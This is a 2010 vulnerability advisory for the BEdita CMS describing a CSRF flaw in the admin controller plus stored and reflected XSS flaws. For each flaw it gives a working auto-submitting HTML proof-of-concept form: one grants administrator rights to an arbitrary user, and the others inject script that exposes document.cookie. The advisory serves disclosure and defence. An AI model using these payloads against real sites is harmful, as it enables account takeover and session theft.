Vulnerability ID: HTB22729
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_bedita.html
Product: BEdita
Vendor: Chialab & ChannelWeb ( http://www.bedita.com/ )
Vulnerable Version: 3.0.1.2550 "betula" and probably prior versions
Vendor Notification: 30 November 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
 
CSRF:
Vulnerability Details:
The vulnerability exists due to failure in the "bedita-app/controllers/modules/admin_controller.php" script to properly verify the source of HTTP request.
 
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
Attacker can use browser to exploit this vulnerability. The following PoC is available:
 
<form action="http://host/bedita-app/admin/saveUser" method="post" name="main">
 
<input type="hidden" name="data[User][id]" value="2">
<input type="hidden" name="data[User][userid]" value="tester">
<input type="hidden" name="data[User][realname]" value="tester">
<input type="hidden" name="data[User][email]" value="email@example.com">
<input type="hidden" name="pwd" value="">
<input type="hidden" name="data[User][passwd]" value="">
<input type="hidden" name="data[User][valid]" value="1">
<input type="hidden" name="groups" value="">
<input type="hidden" name="data[groups][administrator]" value="on">
<input type="hidden" name="data[groups][guest]" value="on">
</form>
<script>
document.main.submit();
</script>
 
Stored XSS:
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
 
The vulnerability exists due to failure in the "bedita-app/controllers/modules/news_controller.php" script to properly sanitize user-supplied input in "data[label]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
An attacker can use browser to exploit this vulnerability. The following PoC is available:
 
<form action="http://host/bedita-app/news/saveCategories" method="post" name="main">
<input type="hidden" name="data[label]" value='cat"><script>alert(document.cookie)</script>'>
<input type="hidden" name="data[status]" value="on">
<input type="hidden" name="data[area_id]" value="">
<input type="hidden" name="data[object_type_id]" value="18">
</form>
<script>
document.main.submit();
</script>
 
XSS:
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
 
The vulnerability exists due to failure in the "bedita-app/controllers/home_controller.php" script to properly sanitize user-supplied input in "searchstring" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
An attacker can use browser to exploit this vulnerability. The following PoC is available:
 
<form action="http://host/bedita-app/news/index" method="post" name="main">
<input type="hidden" name="searchstring" value='search"><script>alert(document.cookie)</script>'>
</form>
<script>
document.main.submit();
</script>